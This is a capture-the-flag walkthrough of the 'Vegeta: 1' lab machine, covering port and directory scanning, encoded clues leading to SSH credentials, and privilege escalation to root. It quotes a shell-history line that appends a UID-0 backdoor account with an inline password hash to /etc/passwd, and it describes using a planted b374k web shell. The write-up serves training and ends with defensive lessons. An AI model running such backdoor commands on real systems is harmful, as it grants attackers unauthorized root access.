PG Play Vegeta: 1 - Easy

# RECONNAISSANCE

Nmap Scan

Only two ports are open: SSH and an Apache web server. With no SSH creds yet, the web server is the way in.

$ nmap -v -sCTV -p- -Pn -T4 192.168.x.x

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-methods: HEAD GET POST OPTIONS
Service Info: OS: Linux

Directory Enumeration (Gobuster)

Gobuster surfaces a few directories plus a robots.txt. The login.php is a 0-byte dead end, so the interesting lead is robots.txt.

$ gobuster dir -u http://192.168.x.x \
    -w /usr/share/wordlists/dirb/common.txt \
    -x php,txt,html -o gobuster_results.txt

/admin          (Status: 301)
/image          (Status: 301)
/img            (Status: 301)
/index.html     (Status: 200)
/login.php      (Status: 200) [Size: 0]
/manual         (Status: 301)
/robots.txt     (Status: 200)

robots.txt → /find_me

$ curl http://192.168.x.x/robots.txt
/find_me

# browse to it -> directory listing with find_me.html
#   http://192.168.x.x/find_me/find_me.html
# the page just shows: vegeta-1.0

# FOLLOWING THE BREADCRUMBS

Base64 in the Page Source → QR Code

The rendered page is almost empty, so view the source (Ctrl+U). Scrolling down reveals a large Base64 blob. Decoding it doesn't give text, it gives the bytes of an image, so render it back into a PNG with an online Base64-to-image tool. The image is a QR code; scanning it yields a password string.

# page source contains a long Base64 string
# decode -> image bytes -> QR code PNG -> scan QR

Decoded QR text:  **********   # a password-looking string

The "topshellv" Hint → b374k

That string on its own isn't a login. Searching the clue (the box hints at topshellv) points to b374k, a well-known PHP management shell. The author placed a copy on the server; the QR string is its password. Loading it renders a blank page, so check the source again, which references a /bulma directory.

# b374k.php -> blank page -> view source -> next breadcrumb:
#   /bulma

Morse Code in a WAV File → SSH Creds

The /bulma directory holds an audio file (e.g. hahaha.wav). Download it and play it, it's Morse code. Run it through an online Morse decoder to recover a username and password, which work over SSH.

# /bulma/hahaha.wav  -> Morse decoder -> credentials

$ ssh trunks@192.168.x.x
trunks@192.168.x.x's password: **********

trunks@vegeta:~$ whoami
trunks

# ROOT - /etc/passwd Backdoor in History

Standard post-exploit enumeration includes reading shell history. The .bash_history shows that someone previously appended a UID-0 account named Tom directly into /etc/passwd, with the DES password hash inline (field 2). Because the hash is right there, crack it offline, then switch to that root-equivalent user.

$ cat ~/.bash_history
...
echo "Tom:<des-hash>:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd
...

# Tom has uid=0 / gid=0 -> effectively root.
# crack the inline DES hash (john / hashcat), then su.

$ su Tom
Password: **********

# id -> uid=0(root)  -> machine rooted

The inline hash is an old DES crypt, which cracks in seconds with John the Ripper or a wordlist, giving the password for Tom and a root shell.

# KEY LEARNINGS

• #Read the source: the whole chain started with a Base64 blob hidden in HTML that the rendered page never showed
• #Decode everything: Base64 that isn't text is often a file, here an image that was a QR code, and audio can carry Morse, stego, or spectrogram data
• #Clues point to tools: the "topshellv" hint led to the b374k shell whose password was the QR string, a reminder to research odd keywords
• #Always check history: .bash_history exposed a root-equivalent account that had been added straight to /etc/passwd
• #Defense: never store secret material (even encoded) in client-reachable files, don't add inline-hash UID-0 users to /etc/passwd, use strong modern hashing, and clear shell history for privileged accounts